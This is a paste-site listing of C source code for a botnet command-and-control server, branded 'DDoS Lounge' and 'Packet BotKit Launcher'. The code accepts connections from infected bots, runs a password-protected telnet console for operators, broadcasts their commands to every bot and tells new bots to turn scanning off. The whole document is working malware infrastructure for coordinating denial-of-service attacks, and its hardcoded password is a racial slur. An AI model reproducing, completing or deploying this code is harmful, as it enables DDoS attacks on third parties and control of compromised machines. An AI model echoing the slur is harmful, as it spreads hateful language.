SHOW:
|
|
- or go back to the newest paste.
| 1 | /*Released By Cumfort*/ | |
| 2 | #include <stdio.h> | |
| 3 | #include <stdlib.h> | |
| 4 | #include <stdint.h> | |
| 5 | #include <inttypes.h> | |
| 6 | #include <string.h> | |
| 7 | #include <sys/types.h> | |
| 8 | #include <sys/socket.h> | |
| 9 | #include <netdb.h> | |
| 10 | #include <unistd.h> | |
| 11 | #include <time.h> | |
| 12 | #include <fcntl.h> | |
| 13 | #include <sys/epoll.h> | |
| 14 | #include <errno.h> | |
| 15 | #include <pthread.h> | |
| 16 | #include <signal.h> | |
| 17 | #include <arpa/inet.h> | |
| 18 | ||
| 19 | const char *colours[] = { "31", "32", "33", "34", "35", "36" };
| |
| 20 | ||
| 21 | #define MAXFDS 1000000 // Max bot count - no way we actually reach this amount, ever. | |
| 22 | #define MY_MGM_PASS "niggernet" | |
| 23 | ||
| 24 | static volatile int epollFD = 0; | |
| 25 | static volatile int listenFD = 0; | |
| 26 | static volatile int managesConnected = 0; | |
| 27 | ||
| 28 | struct clientdata_t | |
| 29 | {
| |
| 30 | uint32_t ip; | |
| 31 | char connected; | |
| 32 | } clients[MAXFDS]; | |
| 33 | ||
| 34 | struct telnetdata_t | |
| 35 | {
| |
| 36 | int connected; | |
| 37 | } managements[MAXFDS]; | |
| 38 | ||
| 39 | int fdgets(unsigned char *buffer, int bufferSize, int fd) | |
| 40 | {
| |
| 41 | int total = 0, got = 1; | |
| 42 | while (got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') | |
| 43 | {
| |
| 44 | got = read(fd, buffer + total, 1); | |
| 45 | total++; | |
| 46 | } | |
| 47 | return got; | |
| 48 | } | |
| 49 | ||
| 50 | void trim(char *str) // Remove whitespace from a string and properly null-terminate it | |
| 51 | {
| |
| 52 | int i, begin = 0, end = strlen(str) - 1; | |
| 53 | while (isspace(str[begin])) begin++; | |
| 54 | while ((end >= begin) && isspace(str[end])) end--; | |
| 55 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
| 56 | str[i - begin] = '\0'; | |
| 57 | } | |
| 58 | ||
| 59 | static int make_socket_non_blocking(int sfd) | |
| 60 | {
| |
| 61 | int flags = fcntl(sfd, F_GETFL, 0), s; | |
| 62 | if (flags == -1) | |
| 63 | {
| |
| 64 | perror("fcntl");
| |
| 65 | return -1; | |
| 66 | } | |
| 67 | flags |= O_NONBLOCK; | |
| 68 | /* | |
| 69 | * F_SETFL(int) | |
| 70 | * Set the file status flags to the value specified by arg. File access mode (O_RDONLY, O_WRONLY, O_RDWR) | |
| 71 | * and file creation flags (i.e., O_CREAT, O_EXCL, O_NOCTTY, O_TRUNC) in arg are ignored. On Linux this | |
| 72 | * command can change only the O_APPEND, O_ASYNC, O_DIRECT, O_NOATIME, and O_NONBLOCK flags. | |
| 73 | */ | |
| 74 | s = fcntl(sfd, F_SETFL, flags); | |
| 75 | if (s == -1) | |
| 76 | {
| |
| 77 | perror("fcntl");
| |
| 78 | return -1; | |
| 79 | } | |
| 80 | return 0; | |
| 81 | } | |
| 82 | ||
| 83 | static int create_and_bind(char *port) | |
| 84 | {
| |
| 85 | struct addrinfo hints, *result, *rp; | |
| 86 | int s, sfd, yes = 1; | |
| 87 | memset(&hints, 0, sizeof(struct addrinfo)); | |
| 88 | hints.ai_family = AF_UNSPEC; // Return IPv4 and IPv6 choices | |
| 89 | hints.ai_socktype = SOCK_STREAM; // We want a TCP socket | |
| 90 | hints.ai_flags = AI_PASSIVE; // All interfaces | |
| 91 | s = getaddrinfo(NULL, port, &hints, &result); | |
| 92 | if (s != 0) | |
| 93 | {
| |
| 94 | fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s)); | |
| 95 | return -1; | |
| 96 | } | |
| 97 | for (rp = result; rp != NULL; rp = rp->ai_next) | |
| 98 | {
| |
| 99 | sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); | |
| 100 | if (sfd == -1) continue; | |
| 101 | if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) perror("setsockopt");
| |
| 102 | s = bind(sfd, rp->ai_addr, rp->ai_addrlen); | |
| 103 | if (s == 0) break; | |
| 104 | close(sfd); | |
| 105 | } | |
| 106 | if (rp == NULL) | |
| 107 | {
| |
| 108 | fprintf(stderr, "Could not bind\n"); | |
| 109 | return -1; | |
| 110 | } | |
| 111 | freeaddrinfo(result); | |
| 112 | return sfd; | |
| 113 | } | |
| 114 | ||
| 115 | char *timepls() | |
| 116 | {
| |
| 117 | time_t now; | |
| 118 | struct tm *gmt; | |
| 119 | char buffer[50]; | |
| 120 | now = time(NULL); | |
| 121 | gmt = gmtime(&now); | |
| 122 | strftime(buffer, sizeof(buffer), "%A %d/%m/%Y - %I:%M%p (GMT)", gmt); | |
| 123 | return strdup(buffer); | |
| 124 | } | |
| 125 | ||
| 126 | void broadcast(char *msg, int us) // Sends message to all bots, notifies the management clients of this happening | |
| 127 | {
| |
| 128 | int i, sendMGM = 1; | |
| 129 | char prompt[20]; | |
| 130 | sprintf(prompt, "\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)]); | |
| 131 | if (strcmp(msg, "PING") == 0) sendMGM = 0; // Don't send pings to management, why? Because a human is going to ignore it | |
| 132 | for (i = 0; i < MAXFDS; i++) | |
| 133 | {
| |
| 134 | if (i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue; | |
| 135 | send(i, msg, strlen(msg), MSG_NOSIGNAL); | |
| 136 | if (sendMGM && managements[i].connected) | |
| 137 | send(i, prompt, strlen(prompt), MSG_NOSIGNAL); // Send a cool looking prompt to a manager/admin | |
| 138 | else | |
| 139 | send(i, "\n", 1, MSG_NOSIGNAL); | |
| 140 | } | |
| 141 | } | |
| 142 | ||
| 143 | void *epollEventLoop(void *useless) // The big loop used to control each bot asynchronously, many threads of this get spawned | |
| 144 | {
| |
| 145 | struct epoll_event event, *events; | |
| 146 | events = calloc(MAXFDS, sizeof(event)); | |
| 147 | while (1) | |
| 148 | {
| |
| 149 | int n, i, s; | |
| 150 | n = epoll_wait(epollFD, events, MAXFDS, -1); | |
| 151 | for (i = 0; i < n; i++) | |
| 152 | {
| |
| 153 | if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) | |
| 154 | {
| |
| 155 | clients[events[i].data.fd].connected = 0; | |
| 156 | close(events[i].data.fd); | |
| 157 | continue; | |
| 158 | } | |
| 159 | else if (listenFD == events[i].data.fd) | |
| 160 | {
| |
| 161 | while (1) | |
| 162 | {
| |
| 163 | struct sockaddr in_addr; | |
| 164 | socklen_t in_len; | |
| 165 | int infd, ipIndex; | |
| 166 | in_len = sizeof(in_addr); | |
| 167 | infd = accept(listenFD, &in_addr, &in_len); // Accept a connection from a bot | |
| 168 | if (infd == -1) | |
| 169 | {
| |
| 170 | if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; | |
| 171 | else | |
| 172 | {
| |
| 173 | perror("accept");
| |
| 174 | break; | |
| 175 | } | |
| 176 | } | |
| 177 | ||
| 178 | ||
| 179 | s = make_socket_non_blocking(infd); | |
| 180 | if (s == -1) | |
| 181 | {
| |
| 182 | close(infd); | |
| 183 | break; | |
| 184 | } | |
| 185 | event.data.fd = infd; | |
| 186 | event.events = EPOLLIN | EPOLLET; | |
| 187 | s = epoll_ctl(epollFD, EPOLL_CTL_ADD, infd, &event); | |
| 188 | if (s == -1) | |
| 189 | {
| |
| 190 | perror("epoll_ctl");
| |
| 191 | close(infd); | |
| 192 | break; | |
| 193 | } | |
| 194 | clients[infd].connected = 1; | |
| 195 | send(infd, "!* SCANNER OFF\n", 15, MSG_NOSIGNAL); | |
| 196 | } | |
| 197 | continue; | |
| 198 | } | |
| 199 | else | |
| 200 | {
| |
| 201 | int thefd = events[i].data.fd; | |
| 202 | struct clientdata_t *client = &(clients[thefd]); | |
| 203 | int done = 0; | |
| 204 | client->connected = 1; | |
| 205 | while (1) | |
| 206 | {
| |
| 207 | ssize_t count; | |
| 208 | char buf[2048]; | |
| 209 | memset(buf, 0, sizeof(buf)); | |
| 210 | while (memset(buf, 0, sizeof(buf)) && (count = fdgets(buf, sizeof(buf), thefd)) > 0) | |
| 211 | {
| |
| 212 | if (strstr(buf, "\n") == NULL) | |
| 213 | {
| |
| 214 | done = 1; | |
| 215 | break; | |
| 216 | } | |
| 217 | trim(buf); | |
| 218 | if (strcmp(buf, "PING") == 0) // Basic IRC-like ping/pong challenge to see if server is alive | |
| 219 | {
| |
| 220 | if (send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) | |
| 221 | {
| |
| 222 | done = 1; | |
| 223 | break; | |
| 224 | } | |
| 225 | continue; | |
| 226 | } | |
| 227 | if (strcmp(buf, "PONG") == 0) continue; | |
| 228 | if (!strstr(buf, "cd /tmp")) printf("Buffer: %s\n", buf);
| |
| 229 | } | |
| 230 | if (count == -1) | |
| 231 | {
| |
| 232 | if (errno != EAGAIN) done = 1; | |
| 233 | break; | |
| 234 | } | |
| 235 | else if (count == 0) | |
| 236 | {
| |
| 237 | done = 1; | |
| 238 | break; | |
| 239 | } | |
| 240 | } | |
| 241 | if (done) | |
| 242 | {
| |
| 243 | client->connected = 0; | |
| 244 | close(thefd); | |
| 245 | } | |
| 246 | } | |
| 247 | } | |
| 248 | } | |
| 249 | } | |
| 250 | ||
| 251 | unsigned int clientsConnected() // Counts the number of bots connected by looping over every possible file descriptor and checking if it's connected or not | |
| 252 | {
| |
| 253 | int i = 0, total = 0; | |
| 254 | for (i = 0; i < MAXFDS; i++) | |
| 255 | {
| |
| 256 | if (!clients[i].connected) continue; | |
| 257 | total++; | |
| 258 | } | |
| 259 | return total; | |
| 260 | } | |
| 261 | ||
| 262 | void *titleWriter(void *sock) // Just an informational banner | |
| 263 | {
| |
| 264 | int thefd = (int)sock; | |
| 265 | char string[1000]; | |
| 266 | while (1) | |
| 267 | {
| |
| 268 | memset(string, 0, sizeof(string)); | |
| 269 | sprintf(string, "%c]0;Bots Connected: %d | Users Connected: %d%c", '\033', clientsConnected(), managesConnected, '\007'); | |
| 270 | if (send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return; | |
| 271 | sleep(2); | |
| 272 | } | |
| 273 | } | |
| 274 | ||
| 275 | void *telnetWorker(void *sock) | |
| 276 | {
| |
| 277 | int thefd = (int)sock; | |
| 278 | managesConnected++; | |
| 279 | pthread_t title; | |
| 280 | char buf[1024], prompt[15], loldongs1[85], loldongs2[85], password[20]; | |
| 281 | memset(buf, 0, sizeof(buf)); | |
| 282 | sprintf(password, "\x1b[%smPassword:\x1b[30m ", colours[(rand() % 6)]); | |
| 283 | if (send(thefd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end; // Failed to send, kill connection | |
| 284 | if (fdgets(buf, sizeof(buf), thefd) < 1) goto failed; // No data, kill connection | |
| 285 | trim(buf); | |
| 286 | if (strcmp(buf, MY_MGM_PASS) != 0) goto failed; // Bad pass, kill connection | |
| 287 | memset(buf, 0, sizeof(buf)); | |
| 288 | pthread_create(&title, NULL, &titleWriter, sock); // Writes the informational banner to the admin after a login | |
| 289 | sprintf(loldongs1, "\r\n \x1b[%smdb d8b db d88888b db .o88b. .d88b. .88b d88. d88888b\r\n", colours[(rand() % 6)]); | |
| 290 | sprintf(loldongs2, " \x1b[%sm ~ [ DDoS Lounge ] ~ \r\n\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)], colours[(rand() % 6)]); | |
| 291 | if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 292 | if (send(thefd, loldongs1, strlen(loldongs1), MSG_NOSIGNAL) == -1) goto end; | |
| 293 | if (send(thefd, " 88 I8I 88 88' 88 d8P Y8 .8P Y8. 88'YbdP`88 88'\r\n", 70, MSG_NOSIGNAL) == -1) goto end; | |
| 294 | if (send(thefd, " 88 I8I 88 88ooooo 88 8P 88 88 88 88 88 88ooooo\r\n", 74, MSG_NOSIGNAL) == -1) goto end; | |
| 295 | if (send(thefd, " Y8 I8I 88 88~~~~~ 88 8b 88 88 88 88 88 88~~~~~\r\n", 74, MSG_NOSIGNAL) == -1) goto end; | |
| 296 | if (send(thefd, " `8b d8'8b d8' 88. 88booo. Y8b d8 `8b d8' 88 88 88 88.\r\n", 70, MSG_NOSIGNAL) == -1) goto end; | |
| 297 | if (send(thefd, " `8b8' `8d8' Y88888P Y88888P `Y88P' `Y88P' YP YP YP Y88888P\r\n", 74, MSG_NOSIGNAL) == -1) goto end; | |
| 298 | if (send(thefd, loldongs2, strlen(loldongs2), MSG_NOSIGNAL) == -1) goto end; | |
| 299 | managements[thefd].connected = 1; | |
| 300 | while (fdgets(buf, sizeof(buf), thefd) > 0) | |
| 301 | {
| |
| 302 | trim(buf); | |
| 303 | memset(prompt, 0, sizeof(prompt)); | |
| 304 | sprintf(prompt, "\x1b[%sm-> \x1b[37m", colours[(rand() % 6)]); | |
| 305 | if (send(thefd, prompt, strlen(prompt), MSG_NOSIGNAL) == -1) goto end; | |
| 306 | if (strlen(buf) == 0) continue; | |
| 307 | if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0) | |
| 308 | {
| |
| 309 | sprintf(loldongs1, "\r\n \x1b[%smdb d8b db d88888b db .o88b. .d88b. .88b d88. d88888b\r\n", colours[(rand() % 6)]); | |
| 310 | sprintf(loldongs2, " \x1b[%sm ~ [ Packet BotKit Launcher ] ~ \r\n\r\n\x1b[%sm-> \x1b[37m", colours[(rand() % 6)], colours[(rand() % 6)]); | |
| 311 | if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end; | |
| 312 | if (send(thefd, loldongs1, strlen(loldongs1), MSG_NOSIGNAL) == -1) goto end; | |
| 313 | if (send(thefd, " 88 I8I 88 88' 88 d8P Y8 .8P Y8. 88'YbdP`88 88'\r\n", 70, MSG_NOSIGNAL) == -1) goto end; | |
| 314 | if (send(thefd, " 88 I8I 88 88ooooo 88 8P 88 88 88 88 88 88ooooo\r\n", 74, MSG_NOSIGNAL) == -1) goto end; | |
| 315 | if (send(thefd, " Y8 I8I 88 88~~~~~ 88 8b 88 88 88 88 88 88~~~~~\r\n", 74, MSG_NOSIGNAL) == -1) goto end; | |
| 316 | if (send(thefd, " `8b d8'8b d8' 88. 88booo. Y8b d8 `8b d8' 88 88 88 88.\r\n", 70, MSG_NOSIGNAL) == -1) goto end; | |
| 317 | if (send(thefd, " `8b8' `8d8' Y88888P Y88888P `Y88P' `Y88P' YP YP YP Y88888P\r\n", 74, MSG_NOSIGNAL) == -1) goto end; | |
| 318 | if (send(thefd, loldongs2, strlen(loldongs2), MSG_NOSIGNAL) == -1) goto end; | |
| 319 | } | |
| 320 | if (strncmp(buf, "BOTS", 4) == 0 || strncmp(buf, "bots", 4) == 0) | |
| 321 | {
| |
| 322 | char string[1000]; | |
| 323 | memset(string, 0, sizeof(string)); | |
| 324 | sprintf(string, "[\x1b[32m+\x1b[37m] - Bot Count: [ \x1b[31m%d\x1b[37m ] | Users Logged In: [ \x1b[31m%d\x1b[37m ] - [\x1b[32m+\x1b[37m]\r\n\x1b[%sm-> \x1b[37m", clientsConnected(), managesConnected, colours[(rand() % 6)]); | |
| 325 | if (send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) goto end; | |
| 326 | } | |
| 327 | printf("Management: %s\n", buf);
| |
| 328 | broadcast(buf, thefd); // Take a command and send it to the bots | |
| 329 | memset(buf, 0, sizeof(buf)); | |
| 330 | } | |
| 331 | failed: | |
| 332 | if (send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end; | |
| 333 | if (send(thefd, "\x1b[31m* LOGIN FAILED! *\r\n", 48, MSG_NOSIGNAL) == -1) goto end; | |
| 334 | goto end; | |
| 335 | end: | |
| 336 | // Clean-up dead socket | |
| 337 | managements[thefd].connected = 0; | |
| 338 | close(thefd); | |
| 339 | managesConnected--; | |
| 340 | } | |
| 341 | ||
| 342 | void *telnetListener(int port) | |
| 343 | {
| |
| 344 | int sockfd, newsockfd; | |
| 345 | socklen_t clilen; | |
| 346 | struct sockaddr_in serv_addr, cli_addr; | |
| 347 | sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
| 348 | if (sockfd < 0) perror("ERROR opening socket");
| |
| 349 | bzero((char *)&serv_addr, sizeof(serv_addr)); | |
| 350 | serv_addr.sin_family = AF_INET; | |
| 351 | serv_addr.sin_addr.s_addr = INADDR_ANY; | |
| 352 | serv_addr.sin_port = htons(port); | |
| 353 | if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
| |
| 354 | listen(sockfd, 5); | |
| 355 | clilen = sizeof(cli_addr); | |
| 356 | while (1) | |
| 357 | {
| |
| 358 | newsockfd = accept(sockfd, (struct sockaddr *)&cli_addr, &clilen); | |
| 359 | if (newsockfd < 0) perror("ERROR on accept");
| |
| 360 | pthread_t thread; | |
| 361 | pthread_create(&thread, NULL, &telnetWorker, (void *)newsockfd); | |
| 362 | } | |
| 363 | } | |
| 364 | ||
| 365 | int main(int argc, char *argv[]) | |
| 366 | {
| |
| 367 | if (argc != 3) | |
| 368 | {
| |
| 369 | fprintf(stderr, "[\x1b[31m-\x1b[37m] Usage: %s <bot port> <cnc port>\r\n[\x1b[33m?\x1b[37m] Example: %s 23 69\r\n", argv[0], argv[0]); | |
| 370 | exit(EXIT_FAILURE); | |
| 371 | } | |
| 372 | printf("[\x1b[32m+\x1b[37m] Server started on %s\r\n[\x1b[33m?\x1b[37m] Bot port: %d\r\n[\x1b[33m?\x1b[37m] Command and Control port: %d\r\n\r\n", timepls(), atoi(argv[1]), atoi(argv[2]));
| |
| 373 | // if (fork()) exit(0); | |
| 374 | srand(time(NULL)); | |
| 375 | signal(SIGPIPE, SIG_IGN); // Ignore broken pipe errors sent from kernel | |
| 376 | int s, threads = 1; | |
| 377 | struct epoll_event event; | |
| 378 | listenFD = create_and_bind(argv[1]); | |
| 379 | if (listenFD == -1) abort(); | |
| 380 | s = make_socket_non_blocking(listenFD); // Try to make the socket nonblocking, die if we can't | |
| 381 | if (s == -1) abort(); | |
| 382 | s = listen(listenFD, SOMAXCONN); // Listen with a huge backlog, die if we can't | |
| 383 | if (s == -1) abort(); | |
| 384 | epollFD = epoll_create1(0); // Make an epoll listener, die if we can't | |
| 385 | if (epollFD == -1) abort(); | |
| 386 | event.data.fd = listenFD; | |
| 387 | event.events = EPOLLIN | EPOLLET; | |
| 388 | s = epoll_ctl(epollFD, EPOLL_CTL_ADD, listenFD, &event); | |
| 389 | if (s == -1) abort(); | |
| 390 | pthread_t thread[threads + 2]; | |
| 391 | while (threads--) pthread_create(&thread[threads + 1], NULL, &epollEventLoop, (void *)NULL); // Make a thread to command each bot individually | |
| 392 | pthread_create(&thread[0], NULL, &telnetListener, atoi(argv[2])); | |
| 393 | while (1) | |
| 394 | {
| |
| 395 | broadcast("PING", -1); // Ping bots every 60 seconds on the main thread
| |
| 396 | sleep(60); | |
| 397 | } | |
| 398 | close(listenFD); | |
| 399 | return EXIT_SUCCESS; | |
| 400 | } |